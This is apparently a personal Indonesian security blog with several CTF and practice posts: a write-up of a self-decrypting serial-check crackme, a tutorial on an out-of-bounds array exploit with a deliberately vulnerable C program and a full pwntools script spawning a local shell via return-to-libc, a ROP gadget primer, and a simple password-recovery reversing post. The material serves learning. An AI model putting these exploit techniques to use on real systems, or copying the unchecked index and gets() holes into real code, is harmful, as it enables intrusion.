Rabu, 06 Desember 2017

Write Up Resqua - Reversing. Hacktoday.

Write Up CTF - Resqua

Write Up CTF Hacktoday - Reversing : Resqua

Binary dapat didownload disini https://gist.github.com/alfakatsuki/2544d829b8e0782802cd1e20fa153b75

Diberikan binary dengan spesifikasi berikut

alfakatsuki@Ubuntu ~/C/H/2/r/resqua> file resqua
resqua: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9b1245d862484ea5086e05c670d9ef40e312a05e, not stripped

alfakatsuki@Ubuntu ~/C/H/2/r/resqua> ./resqua 
Enter a valid serial number: 1 1 1 1 1
Wrong format!

Binary tersebut meminta input berbentuk serial number. Lebih jelas mari kita coba lihat decompile dari binary tersebut di IDA.

Berikut adalah decompile dari fungsi main

// local variable allocation has failed, the output may be wrong!
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unlock(*(_QWORD *)&argc, argv, envp);
  ((void (*)(void))run)();
  return 0;
}

Berikut adalah pseudocode dari fungsi unlock

int unlock()
{
  signed __int64 v0; // ST20_8
  __int64 v1; // ST30_8
  signed int i; // [rsp+4h] [rbp-3Ch]
  int v4; // [rsp+14h] [rbp-2Ch]
  void *addr; // [rsp+38h] [rbp-8h]

  v0 = *(signed int *)byte_400009 + 0x400000LL;
  v1 = sysconf(30);
  addr = (void *)(-v1 & v0);
  v4 = *(_DWORD *)byte_400009 + *(signed __int16 *)&byte_400009[4] + 0x400000 - (-(signed int)v1 & v0);
  mprotect(addr, v4, 7);
  for ( i = 0; i < *(signed __int16 *)&byte_400009[4]; ++i )
    *((_BYTE *)&dword_400000 + *(signed int *)byte_400009 + i) ^= *((_BYTE *)&dword_400000 + i % 3 + 1);
  return mprotect(addr, v4, 5);
}

Yang menarik dari program ini adalah program tersebut adalah opcode dari fungsi run yang terenkripsi dan akan di dekripsi saat fungsi unlock dijalankan. Ketika fungsi unlock sudah dijalankan binary baru akan mengeksekusi pertintah yang sebenarnya pada fungsi run.

Kita coba lihat di IDA terdapat segment .lock dimana terdapat fungsi run() dan fungsi c() yang assembly code nya terenkripsi.

.lock:0x0000000000400992 ; ------------------
.
.
.lock:0x0000000000400BA0 ; ----------------
.

Dengan menggunakan GDB. Kita coba break program setelah program menjalankan fungsi unlock(). Kita coba break pada 0x0000000000400903. Sebelumnya kita coba break di main untuk melihat opcode yang masih terenkripsi.

gdb-peda$ x/100gx 0x400992
0x400992 <c>: 0xcda93bc5a0cf0410 0x42394c45421aa93b
0x4009a2 <c+16>: 0x816fae464c4546f4 0x46ae464c4547b000
0x4009b2 <c+32>: 0x00c5a0006fb000cd 0xb63345aa31c644b0
0x4009c2 <c+48>: 0x4385d24345aa31c6 0xa0cf0410851185f0
0x4009d2 <run+4>: 0x42c70d22cc81c504 0x09cc0e4c45466460
0x4009e2 <run+20>: 0x450647fdf98c74be 0xba30ad464c4546f4
0x4009f2 <run+36>: 0xc50da609c80eb3ba 0xc80eb3babaecad81
0x400a02 <run+52>: 0xba08ad81c50da609 0x543055b4c60eb3ba
0x400a12 <run+68>: 0x55336179a209f349 0x4e39687aa500f043
0x400a22 <run+84>: 0x43316b70ab03fa4a 0xb94aa445064793f9
0x400a32 <run+100>: 0x814c45471facb9b3 0x6aae464c4546c000
0x400a42 <run+116>: 0x01f043dd0ec000cd 0xb6f351337c79a649
0x400a52 <run+132>: 0xb3babdaaad460c4e 0xb93aa445464c44f9
.
.
.

Berikut adalah opcode dari binary yang telah di dekripsi dan telah dijalankan.

0x400992 <c>: 0x81ec7d89e5894855 0x077f00000456ec7d
0x4009a2 <c+16>: 0xc723eb00000000b8 0x0aeb00000001fc45
0x4009b2 <c+32>: 0x4583ec4529fc458b 0xf07f00ec7d8302fc
0x4009c2 <c+48>: 0x0fc0940f00ec7d83 0xe5894855c35dc0b6
0x4009d2 <run+4>: 0x048b486480c48348 0x4589480000002825
0x4009e2 <run+20>: 0x00400bb8bfc031f8 0xfc7ce800000000b8
0x4009f2 <run+36>: 0x8948e0458d48ffff 0x8d48fffffca0e8c7
0x400a02 <run+52>: 0xfc44e8c78948e045 0x187513f88348ffff
0x400a12 <run+68>: 0x10752d3ce445b60f 0x08752d3ce945b60f
0x400a22 <run+84>: 0x0f742d3cee45b60f 0xfc0ce800400bd6bf
0x400a32 <run+100>: 0xc700000153e9ffff 0x26eb000000008c45
0x400a42 <run+116>: 0x44b60f98488c458b 0xf0bf1475303ce005
0x400a52 <run+132>: 0xfffffbe6e800400b 0xfc7ce800000001bf
0x400a62 <run+148>: 0x7d83018c4583ffff 0xe04d8d48d47e138c
0x400a72 <run+164>: 0x000004baa0458d48 0xe8c78948ce894800
0x400a82 <run+180>: 0x00a445c6fffffbaa 0x05488d48e0458d48
0x400a92 <run+196>: 0x000004bab0458d48 0xe8c78948ce894800
0x400aa2 <run+212>: 0x00b445c6fffffb8a 0x0a488d48e0458d48
0x400ab2 <run+228>: 0x000004bac0458d48 0xe8c78948ce894800
0x400ac2 <run+244>: 0x00c445c6fffffb6a 0x0f488d48e0458d48
0x400ad2 <run+260>: 0x000004bad0458d48 0xe8c78948ce894800
0x400ae2 <run+276>: 0x00d445c6fffffb4a 0xe8c78948a0458d48
0x400af2 <run+292>: 0x48904589fffffbda 0xcbe8c78948b0458d
0x400b02 <run+308>: 0x8d48944589fffffb 0xfbbce8c78948c045
0x400b12 <run+324>: 0x458d48984589ffff 0xfffbade8c78948d0
0x400b22 <run+340>: 0x8990458b9c4589ff 0xc085fffffe62e8c7
0x400b32 <run+356>: 0xe8c78994458b4e74 0x4074c085fffffe54
0x400b42 <run+372>: 0xfe46e8c78998458b 0x458b3274c085ffff
0x400b52 <run+388>: 0xfffffe38e8c7899c 0x3b90458b2474c085
0x400b62 <run+404>: 0x3b94458b1c7d9445 0x3b98458b147d9845
0x400b72 <run+420>: 0x400c10bf0c7d9c45 0x0aebfffffac0e800
0x400b82 <run+436>: 0xfab4e800400bf0bf 0x4864f8458b48ffff
0x400b92 <run+452>: 0x7400000028250433 0xc3c9fffffac0e805

Binary ini dapat dianalisis langsung melalui disassemblynya. Namun kita coba cara lain yaitu dengan melakukan patch pada binary agar binary dapat di decompile dengan opcode yang benar.

Berikut adalah skrip yang digunakan untuk melakukan patching pada binary

from pwn import *
from sys import *

binary = open('resqua').read()

# Cari opcode ini untuk dipatch
cari = p64(0xcda93bc5a0cf0410)

realopcode = [0x81ec7d89e5894855 ,0x077f00000456ec7d ,0xc723eb00000000b8 ,0x0aeb00000001fc45 ,0x4583ec4529fc458b ,0xf07f00ec7d8302fc ,0x0fc0940f00ec7d83 ,0xe5894855c35dc0b6 ,0x048b486480c48348 ,0x4589480000002825 ,0x00400bb8bfc031f8 ,0xfc7ce800000000b8 ,0x8948e0458d48ffff ,0x8d48fffffca0e8c7 ,0xfc44e8c78948e045 ,0x187513f88348ffff ,0x10752d3ce445b60f ,0x08752d3ce945b60f ,0x0f742d3cee45b60f ,0xfc0ce800400bd6bf ,0xc700000153e9ffff ,0x26eb000000008c45 ,0x44b60f98488c458b ,0xf0bf1475303ce005 ,0xfffffbe6e800400b ,0xfc7ce800000001bf ,0x7d83018c4583ffff ,0xe04d8d48d47e138c ,0x000004baa0458d48 ,0xe8c78948ce894800 ,0x00a445c6fffffbaa ,0x05488d48e0458d48 ,0x000004bab0458d48 ,0xe8c78948ce894800 ,0x00b445c6fffffb8a ,0x0a488d48e0458d48 ,0x000004bac0458d48 ,0xe8c78948ce894800 ,0x00c445c6fffffb6a ,0x0f488d48e0458d48 ,0x000004bad0458d48 ,0xe8c78948ce894800 ,0x00d445c6fffffb4a ,0xe8c78948a0458d48 ,0x48904589fffffbda ,0xcbe8c78948b0458d ,0x8d48944589fffffb ,0xfbbce8c78948c045 ,0x458d48984589ffff ,0xfffbade8c78948d0 ,0x8990458b9c4589ff ,0xc085fffffe62e8c7 ,0xe8c78994458b4e74 ,0x4074c085fffffe54 ,0xfe46e8c78998458b ,0x458b3274c085ffff ,0xfffffe38e8c7899c ,0x3b90458b2474c085 ,0x3b94458b1c7d9445 ,0x3b98458b147d9845 ,0x400c10bf0c7d9c45 ,0x0aebfffffac0e800 ,0xfab4e800400bf0bf ,0x4864f8458b48ffff ,0x7400000028250433 ,0xc3c9fffffac0e805 ]

real_opcode = ""
for i in realopcode:
 real_opcode += p64(i)

# cari opcode
start_patch = 0
for i in range(len(binary)):
 if(cari == binary[i:i+8]):
  # print "ketemu"

  start_patch = i
  break

# Mulai patching
binary = list(binary)

for i in real_opcode:
 binary[start_patch] = i
 start_patch += 1


# done patching
print "".join(binary)

# python patch.py > resqua_patched

Setelah dicek binary dengan file, binary masih valid sebagai file ELF. Kita coba decompile. Fungsi run() dan fungsi c() sudah dapat didecompile.

Berikut fungsi run()

unsigned __int64 run()
{
  signed int i; // [rsp+Ch] [rbp-74h]
  int v2; // [rsp+10h] [rbp-70h]
  int v3; // [rsp+14h] [rbp-6Ch]
  int v4; // [rsp+18h] [rbp-68h]
  int v5; // [rsp+1Ch] [rbp-64h]
  char dest; // [rsp+20h] [rbp-60h]
  char v7; // [rsp+24h] [rbp-5Ch]
  char nptr; // [rsp+30h] [rbp-50h]
  char v9; // [rsp+34h] [rbp-4Ch]
  char v10; // [rsp+40h] [rbp-40h]
  char v11; // [rsp+44h] [rbp-3Ch]
  char v12; // [rsp+50h] [rbp-30h]
  char v13; // [rsp+54h] [rbp-2Ch]
  char s[4]; // [rsp+60h] [rbp-20h]
  char v15; // [rsp+64h] [rbp-1Ch]
  _BYTE v16[3]; // [rsp+65h] [rbp-1Bh]
  char v17; // [rsp+69h] [rbp-17h]
  _BYTE v18[6]; // [rsp+6Ah] [rbp-16h]
  char v19; // [rsp+6Eh] [rbp-12h]
  unsigned __int64 v20; // [rsp+78h] [rbp-8h]

  v20 = __readfsqword(0x28u);
  printf("Enter a valid serial number: ");
  gets(s);
  if ( strlen(s) == 19 && v15 == 45 && v17 == 45 && v19 == 45 )
  {
    for ( i = 0; i <= 19; ++i )
    {
      if ( s[i] == 48 )
      {
        puts("\x1B[31mInvalid serial number!\x1B[0m");
        exit(1);
      }
    }
    strncpy(&dest, s, 4uLL);
    v7 = 0;
    strncpy(&nptr, v16, 4uLL);
    v9 = 0;
    strncpy(&v10, v18, 4uLL);
    v11 = 0;
    strncpy(&v12, &v18[5], 4uLL);
    v13 = 0;
    v2 = atoi(&dest);
    v3 = atoi(&nptr);
    v4 = atoi(&v10);
    v5 = atoi(&v12);
    if ( (unsigned int)c((unsigned int)v2, &v18[5])
      && (unsigned int)c((unsigned int)v3, &v18[5])
      && (unsigned int)c((unsigned int)v4, &v18[5])
      && (unsigned int)c((unsigned int)v5, &v18[5])
      && v2 < v3
      && v3 < v4
      && v4 < v5 )
    {
      puts("\x1B[32mCongrats, valid serial number!\x1B[0m");
    }
    else
    {
      puts("\x1B[31mInvalid serial number!\x1B[0m");
    }
  }
  else
  {
    puts("\x1B[31mWrong format!\x1B[0m");
  }
  return __readfsqword(0x28u) ^ v20;
}

Fungsi c()

_BOOL8 __fastcall c(signed int a1)
{
  signed int v2; // [rsp+0h] [rbp-14h]
  signed int v3; // [rsp+10h] [rbp-4h]

  v2 = a1;
  if ( a1 <= 1110 )
    return 0LL;
  v3 = 1;
  while ( v2 > 0 )
  {
    v2 -= v3;
    v3 += 2;
  }
  return v2 == 0;
}

Dari pseudocode tersebut. Didapat konstrain untuk serial number.

  1. Memiliki Panjang string 19. Dengan bentuk serial number xxxx-xxxx-xxxx-xxxx dengan x adalah angka
  2. Angka tidak boleh memiliki digit 0
  3. Angka tidak boleh <= 1110
  4. Angka1 < Angka2 < Angka3 < Angka4

Dengan skrip sederhana berikut kita dapat mendapatkan beberapa angka yang benar

arr = []

k = 1
hasil = 0
for i in range(100):
  arr.append(hasil)
  hasil += k
  k += 2

print arr

Kita misalkan pilih yang memenuhi 1681-1764-1849-1936

alfakatsuki@Ubuntu ~/Desktop> ./resqua 
Enter a valid serial number: 1681-1764-1849-1936
Congrats, valid serial number!

Sabtu, 14 Oktober 2017

Out Of Bound Array

oob
Belakangan ini beberapa ctf yang saya ikuti banyak sekali soal tentang ini. Dan sayangnya sedikit yang bisa saya solve ketika lomba. Karena itu saya menuliskan ini untuk mengarsipkan apa yang sudah saya pelajari mulai dari yang paling sederhana.
Out of bound array adalah kondisi saat user bisa memasukkan index array diluar dari space array yang diberikan, sehingga user dapat mengetahui, membocorkan sampai mengubah isi memori di luar array. Kita dapat melakukan leak terhadap canary dan PIE sampai mengubah return address tergantung dari program yang diberikan.
Kali ini kita akan coba demonstrasikan out of bound array untuk memanggil shell dengan teknik return to libc biasa.
Diberikan binary 64 bit dengan source code berikut
#include <stdio.h>
#include <stdlib.h>

//compile with gcc -o oob oob.c
//this binary is for learning about out of bound vuln to get a shell

int vuln(){
 char junk[10];
 char pil = 'y';
 int index;
 printf("x for quit\ni for isi\nr for read\n");
 char newline;
 while(pil != 'x'){

  scanf("%c", &pil);

  if(pil == 'i'){
   //filling
   scanf("%c", &newline);
   scanf("%d", &index);
   scanf("%c", &newline);
   scanf("%c", &junk[index]);
   printf("Index %d filled\n", index);
  }
  else if (pil == 'r'){
   scanf("%d", &index);
   printf("Your char on index %d is %d\n", index, junk[index]);
  }
 }
}

int main()
{
 vuln();
 return 0;
}
Berikut adalah proteksi dari binary yang bersangkutan.
[*] '/home/alfakatsuki/CTF/practice/oob/oob'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
Program sederhana ini user dapat melihat isi memori pada index sekian, dan dapat mengisi memori pada index sekian sehingga kita dapat mengoverwrite RIP sesuai dengan keinginan kita. Kita juga dapat melakukan leak terhadap RIP sekarang untuk membypass PIE.
Goals dari exploit kita adalah mendapatkan shell. Sehingga langkah langkah yang kita lakukan adalah sebagai berikut :
  1. Leak RIP dengan out of bound array
  2. Hitung base PIE address dengan RIP - offset RIP
  3. Menggunakan return to libc untuk Leak libc. Ambil contoh kita menggunakan printf. Seluruh alamat fungsi atau gadget yang ada di segment text, dapat dihitung dengan base PIE + offset
Mari kita coba debug dengan GDB-PEDA untuk mengetahui dimana selisih index antara inputan kita dengan RIP.
Kita akan break di offset 0x000000000000089B. Karena PIE aktif dan aslr di GDB-PEDA mati, maka alamat break kita akan menjadi 0x000055555555489B
gdb-peda$ r
Starting program: /home/alfakatsuki/CTF/practice/oob/oob
x for quit
i for isi
r for read
i
1
A
Index 1 filled
i
0
A
Index 0 filled
i
2
A
Index 2 filled
i
3
A
Index 3 filled

gdb-peda$ find AAAA
Searching for 'AAAA' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0x7fffffffda7e ("AAAAUUUU")

gdb-peda$ i f
Stack level 0, frame at 0x7fffffffdaa0:
 rip = 0x55555555489b in vuln; saved rip = 0x5555555548f4
 called by frame at 0x7fffffffdab0
 Arglist at 0x7fffffffda90, args:
 Locals at 0x7fffffffda90, Previous frames sp is 0x7fffffffdaa0
 Saved registers:
  rbp at 0x7fffffffda90, rip at 0x7fffffffda98
gdb-peda$


gdb-peda$ x/100bx 0x7fffffffda7e
0x7fffffffda7e: 0x41 0x41 0x41 0x41 0x55 0x55 0x55 0x55
0x7fffffffda86: 0x00 0x00 0x00 0xe3 0xe1 0x1e 0x04 0xa2
0x7fffffffda8e: 0xdb 0x2a 0xa0 0xda 0xff 0xff 0xff 0x7f
0x7fffffffda96: 0x00 0x00 0xf4 0x48 0x55 0x55 0x55 0x55
0x7fffffffda9e: 0x00 0x00 0x00 0x49 0x55 0x55 0x55 0x55
0x7fffffffdaa6: 0x00 0x00 0xf1 0x03 0xa3 0xf7 0xff 0x7f
0x7fffffffdaae: 0x00 0x00 0x00 0x00 0x04 0x00 0x00 0x00
0x7fffffffdab6: 0x00 0x00 0x88 0xdb 0xff 0xff 0xff 0x7f
0x7fffffffdabe: 0x00 0x00 0x08 0xa5 0xb9 0xf7 0x01 0x00
0x7fffffffdac6: 0x00 0x00 0xe6 0x48 0x55 0x55 0x55 0x55
0x7fffffffdace: 0x00 0x00 0x00 0x00 0x00 0x00 0x00 0x00
0x7fffffffdad6: 0x00 0x00 0x2b 0x45 0x28 0x8c 0x3c 0x4b
0x7fffffffdade: 0xb4 0x69 0x80 0x46
Inputan kita berada pada 0x7fffffffda7e dan RIP berada di 0x7fffffffda98 sehingga selisih nya menjadi 26. Kita sudah mendapat semua informasi yang kita butuhkan. Mari kita coba susun exploit yang dapat kita lakukan.
from pwn import *

# offset RIP berada pada index 26

p = process('./oob')
e = ELF('./oob')

def isi(i, ch):
 p.sendline('i')
 p.sendline(str(i))
 p.sendline(ch)
 p.recvuntil('filled\n')

def baca(i):
 p.sendline('r')
 p.sendline(str(i))
 p.recvuntil('is ')
 leaked = chr(eval(p.recvline()[:-1]) & 0xff)
 return leaked

# Leaked RIP for find base PIE address

basepie = ''
offset_rip = 0x8f4
for i in range(26, 26+8):
 basepie += baca(i)

basepie = u64(basepie)
basepie -= offset_rip


# Get Base PIE
log.info("Base PIE\t: 0x{0:x}".format(basepie))

gotprintf = p64(e.got['printf'] + basepie)
puts = p64(e.symbols['puts'] + basepie)
main = p64(e.symbols['main'] + basepie)
poprdi = p64(0x0000000000000963 + basepie)
poprsir15 = p64(0x0000000000000961 + basepie)
payload = poprdi + gotprintf + puts + main


log.info('Leaking libc')
k = 26
for i in payload:
 isi(k, i)
 k += 1

#Get Libc printf address
p.sendline('x')
printf = p.recvline()
printfaddr =  u64(printf[:-1]+'\x00\x00')

log.info('Printf libc\t: 0x{0:x}'.format(printfaddr))

offset___libc_start_main_ret = 0x203f1
offset_system = 0x00000000000456a0
offset_dup2 = 0x00000000000f8fa0
offset_read = 0x00000000000f8880
offset_write = 0x00000000000f88e0
offset_str_bin_sh = 0x18ac40
offset_printf = 0x0000000000056510

# compute binsh string and system function in libc
base = printfaddr - offset_printf
sh = base + offset_str_bin_sh
system = base + offset_system

# Gaining shell
payload = poprdi + p64(sh) + p64(system)

log.info('Gaining shell')
k = 26
for i in payload:
 isi(k, i)
 k += 1

p.sendline('x')
p.interactive()
Mari kita coba jalankan dengan penuh semangat.
╭─── alfakatsuki@Ubuntu:[~/CTF/practice/oob]:
╰──▶ python sploit.py
[+] Starting local process './oob': pid 10632
[*] '/home/alfakatsuki/CTF/practice/oob/oob'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[*] Base PIE    : 0x5567a13d8000
[*] Leaking libc
[*] Printf libc    : 0x7fcf7766d510
[*] Gaining shell
[*] Switching to interactive mode
$ ls
a.out  oob    oob.id0  oob.id2    oob.til            peda-session-oob.txt
core   oob.c  oob.id1  oob.nam    peda-session-a.out.txt    sploit.py
$ id
uid=1000(alfakatsuki) gid=1000(alfakatsuki) groups=1000(alfakatsuki),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),121(lpadmin),131(sambashare),998(docker)
$  
Ternyata berhasil. Sekian eksploit sederhana mengenai out of bound array. Variasi dari eksploit ini bermacam macam. Jadi ini hanya merupakan pengantar dari apa yang baru saya bisa. Terimakasih :)

Sabtu, 29 Juli 2017

ROP 1. Simple Introduction About ROP

untitled

ROP atau kita biasa sebut return oriented programming adalah tingkatan tertinggi dan tersulit dari kategori pwning. Sampai saat ini saya maish belum menguasai dan mempraktikannya. Beberapa gadget masih terlihat asing bagi saya. tapi saya akan berusaha menulis perlahan lahan apa yang saya baru tau dan apabila salah mohon koreksinya ya :).

ROP atua return oriented programming adalah eksploitasi sebuah program dengan mengarahkan EIP atau intsruct pointer ke gadget gadget yang kita sambungkan agar memunculkan suatu fungsi yang kita inginkan. Umumnya tingkatan tertinggi dari eksploit adalah kita mampu memanggil shell dari program yang dieksploit. Gadget adalah kumpulan instruski assembly yang memiliki instruksi ret di akhir agar program kembali ke dalam stack untuk melanjutkan gadget lainnya hingga memanggil shell

Apa yang kita bisa lakukan dengan gadget?

Contoh beberapa penggunaan gadget

  1. Memasukkan sesuatu ke register
  • pop eax, ret + 0xdeadbeef Gadget ini akan mengisi register eax dengan 0xdeadbeef
  1. Membaca dari memori
  • mov ecx, [eax], ret gadget ini akan memasukkan nilai yang berada pada alamat eax ke register ecx
  1. Memasukkan ke memori (stack)
  • mov [eax], ecx, ret

Gadget ini akan memasukkan nilai ecx ke alamat memori yang ditunjuk eax

  1. Aritmatika

add eax, 0x0b, ret

Ini akan menambahkan eax senilai 0x0b

xor eax, eax

mengosongkan nilai eax

  1. System call

int 0x80, ret

call gs:[0x10], ret

GADGET YANG HARUS DIHINDARI

gadget yang mengandung pop ebp, semua akan merusak stack Payload tidak boleh mengandung nullbytes

Untuk memanggil shell, kita harus memvariasikan beberapa chainig dari rop gadget, sehingga kita, bisa memanggil call system dengan argumen /bin//sh

Satu chaining yang saya pelajari untuk memanggil shell

  1. xor eax, eax ; untuk mengosongkan eax
  2. menulis /bin/sh didalam memori yang paling aman. Kita cbba untuk untuk menulis nya didata segmen. Yang dapat kita lakukan adalah menggunakan gadget
  • pop {REG1}, ret, ALAMAT
  • pop {REG2}, ret, STRING
  • mov [REG1], REG2

Lakukan dua kali. Karena string /bin//sh memiliki ukuran 8 byte. Kita.

  1. Setelah semua persiapan selesai, kita bisa memanggil function call dengan gadget
  • xor eax, eax ; untuk mengosongkan eax
  • add eax, 0x0b ;mengisi eax, dengan function system call
  • call gs:[0x10], ret

Payload ROP dari berbagai macam soal, bisa bervarisi, dari gadget gadget yang tersedia dari program

Beberapa payload yang pernah saya temui baik dari baca baca payload orang lain.

  • Buffer + pop eax, pop ecx , ret + u32("/bin") + p32(0xaddr) + mov [eax], ecx, ret + xor eax, eax , ret + add eax, 0x0b, ret + call gs:[0x10], ret

Postingan ini pasti akan dilanjuti untuk meneruskan apa yang saya sudah pelajari dari ROP

Reversing 1. Simple XOR

untitled

Reversing 1. Membaca Pseudocode, dan reverse langsung

Kali ini kita akan membahas sedikit tentang reverse engineering. Reverse engineering adalah Ilmu untuk merekonstruksi program dari program yang sudah dicompiled, menjadi pseudocode, dan memahami pseudocode tentang bagaimana program tersebut bekerja. Didalam dunia cyber security. Reversing adalah tingkat tertinggi bersamaan dengan binary eksploitation. Banyak manfaat yang dapat kita dapatkan jka kita belajar reverse engineering, kita dapat melihat suatu program bekerja apakah dia bekerja sebagai mana mestinya, atau ada kesalahan / bug / illegal instruction yang disisipkan pada program tersebut. Kemampuan reverse engineering juga dapat membantu bidang security lain seperti membaca suatu program yang mengenkripsi dengan menggunakan suatu metode kriptografi, dan juga membantu membaca kelemahan program yang dapat dieksploit. Tanpa kemampuan reverse engineering, kemungkinan kita bisa mengeksploit program sangat kecil bahkan mendekati nl.

Untuk belajar reverse engineering, kita membutuhkan kemampuan untuk memahami source code, dan tentu kemampuan coding. Untuk reverse engineerin tingkat atas, tentu kita juga membutuhkan kemampuan menggunakan dan memahami assembly, namun saya juga masih banyak belajar untuk assembly, jadi kita belum akan membahasnya disini.

Kali ini kita akan menggunakan soal dari slashroot CTF yang masing hangat yaitu soal Phunpack. (Binary diupload oleh Fanpage Cyber security IPB).

Seperti biasa, kita harus mengidentifikasi terlebih dahulu binary tersebut.

alfakatsuki@justPC:/media/sda6/CTF (All)/CTF Events/FINAL SLEZRUT/REVERSING$ file phunpack
phunpack: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, BuildID[sha1]=5bed9389e4ebb4a335c343185f4beec6fe31e741, not stripped
alfakatsuki@justPC:/media/sda6/CTF (All)/CTF Events/FINAL SLEZRUT/REVERSING$ checksec phunpack
[*] '/media/sda6/CTF (All)/CTF Events/FINAL SLEZRUT/REVERSING/phunpack'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
alfakatsuki@justPC:/media/sda6/CTF (All)/CTF Events/FINAL SLEZRUT/REVERSING$ ./phunpack
Enter the password: aaaaaaaaaaaa
No no no!
alfakatsuki@justPC:/media/sda6/CTF (All)/CTF Events/FINAL SLEZRUT/REVERSING$ ./phunpack
Enter the password: a
No no no!
alfakatsuki@justPC:/media/sda6/CTF (All)/CTF Events/FINAL SLEZRUT/REVERSING$ ./phunpack
Enter the password:
No no no!
alfakatsuki@justPC:/media/sda6/CTF (All)/CTF Events/FINAL SLEZRUT/REVERSING$

Bisa kita lihat bahwa program meminta kita untuk memberikan input berupa password dan jika salah akan memunculkan hasil tersebut.

Mari kita coba decompile dengan IDA 64 bit atau decompiler lain. Namun kali ini kita coba IDA karena hasil decompile yang paling mudah dibaca.

Berikut adalah layout pemanggilan Fungsi pada program.

Kita coba decompile fungsi Main.

Berikut adalah pseudocode C dari fungsi main

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int result; // eax@4
  __int64 v4; // rcx@4
  char v5; // [sp+10h] [bp-20h]@1
  __int64 v6; // [sp+28h] [bp-8h]@1

  v6 = *MK_FP(__FS__, 40LL);
  printf((unsigned __int64)"Enter the password: ");
  fgets(&v5, 11LL, stdin);
  if ( passcheck(&v5) == 10 )
    printf((unsigned __int64)"Correct flag! SlashRootCTF{%s}\n");
  else
    puts("No no no!");
  result = 0;
  v4 = *MK_FP(__FS__, 40LL) ^ v6;
  return result;
}

Kita tau bahwa fungsi fgets meminta kita untuk meminta sebuah inputan dan dimasukkan kedalam variabel v5. Untuk mendapatkan flag yang benar kita harus fungsi passcheck yang memiliki argumen v5 tadi harus return nilai 10,

Mari kita decompile fungsi passcheck dan lihat pseudo code nya.

__int64 __fastcall passcheck(__int64 a1)
{
  __int64 v1; // rax@1
  __int64 result; // rax@8
  __int64 v3; // rcx@8
  unsigned int v4; // [sp+18h] [bp-28h]@1
  signed int i; // [sp+1Ch] [bp-24h]@2
  char v6; // [sp+20h] [bp-20h]@1
  char v7; // [sp+21h] [bp-1Fh]@1
  char v8; // [sp+22h] [bp-1Eh]@1
  char v9; // [sp+23h] [bp-1Dh]@1
  char v10; // [sp+24h] [bp-1Ch]@1
  char v11; // [sp+25h] [bp-1Bh]@1
  char v12; // [sp+26h] [bp-1Ah]@1
  char v13; // [sp+27h] [bp-19h]@1
  char v14; // [sp+28h] [bp-18h]@1
  char v15; // [sp+29h] [bp-17h]@1
  __int64 v16; // [sp+38h] [bp-8h]@1

  v16 = *MK_FP(__FS__, 40LL);
  v4 = 0;
  v6 = 85;
  v7 = 110;
  v8 = 80;
  v9 = 65;
  v10 = 67;
  v11 = 75;
  v12 = 70;
  v13 = 84;
  v14 = 87;
  v15 = 33;
  LODWORD(v1) = strlen();
  if ( v1 == 10 )
  {
    for ( i = 0; i <= 9; ++i )
    {
      if ( *(_BYTE *)(i + a1) == *(&v6 + i) ) #### Penting
        ++v4;
      else
        v4 = 0;
    }
  }
  result = v4;
  v3 = *MK_FP(__FS__, 40LL) ^ v16;
  return result;
}

Fungsi passcheck mereturn nilai result. Nilai result didapat dari membandingkan tiap char pada argumen dari passcheck dengan char yang ada pada local variabel, yaitu char dari alamat v6. Apabila i sudah mencapai 10 maka program akan dia break.

Inputan kita dibandingkan dengan isi dari variabel v4 - v15. Kita tinggal membuat skrip python sederhana atau manual pun juga bisa untuk mengubah nilai int yang disana menjadi jilai char. Namun sekalian untuk belajar programming mari kita coding.

import re
from pwn import *
dump = """v6 = 85;
v7 = 110;
v8 = 80;
v9 = 65;
v10 = 67;
v11 = 75;
v12 = 70;
v13 = 84;
v14 = 87;
v15 = 33;"""

dump = dump.split('\n')

passs = ""

for i in dump :
  a = re.search('= (.+?);', i)
  passs += chr(eval(a.group(1)))

print passs
# p = process('./phunpack')
# p.recvline('password: ')
# p.sendline('passs')
# p.recvline()
# p.recvline()
# p.kill()

Skrip diatas itu kita sekalian submit ya. Lumayan sekalian belajar pwning juga. Tapi akhirnya saya ga jadi make karena ga tau kenapa binary nya ga bisa dipwn.

Didapat string 'UnPACKFTW!'. Ayo kita coba masukkan dipassword

alfakatsuki@justPC:/media/sda6/CTF (All)/CTF Events/REVERSING$ ./phunpack
Enter the password: UnPACKFTW!
Correct flag! SlashRootCTF{UnPACKFTW!}

Ternyata benar flagnya :D.

Jika kita melihat hasil dari pseudocode maka terlihat rumit sekali, namun ternyata hanya dibandingkan saja. Karena itu kita harus menguasai bahasa pemrograman untuk bisa melihat dan mengidentifikasi mana code code yang penting agar untuk kita reverse. :)

Sekian dari saya. Pada postingan kedepan, kita akan mencoba untuk mereversing dengan metode bruteforcing. Semoga bermanfaat.